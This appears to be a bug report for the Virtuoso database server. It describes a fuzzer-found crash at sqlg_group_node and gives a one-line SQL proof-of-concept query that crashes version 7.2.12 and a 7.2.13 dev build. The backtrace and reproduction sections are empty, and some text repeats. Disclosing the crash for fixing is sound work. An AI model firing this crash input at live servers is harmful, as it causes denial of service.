Virtuoso is a high-performance and scalable Multi-Model RDBMS, Data Integration Middleware, Linked Data Deployment, and HTTP Application Server Platform
Fuzzer: Virtuoso 7.2.12 crashed at sqlg_group_node.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).
PoC:
SELECT x FROM ( SELECT CASE WHEN 'foo.boo[]' THEN 0.100000 END x ) x ORDER BY sum ( ( x , ( SELECT inet_aton ( '127.0.0.1' ) + POWER ( ) + ( SELECT ( inet_aton ( '127.0.0.1' ) ) ) x ) ) );
Fuzzer: Virtuoso 7.2.12 crashed at
sqlg_group_node
. It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).PoC:
backtrace:
ways to reproduce (write poc to the file /tmp/test.sql first):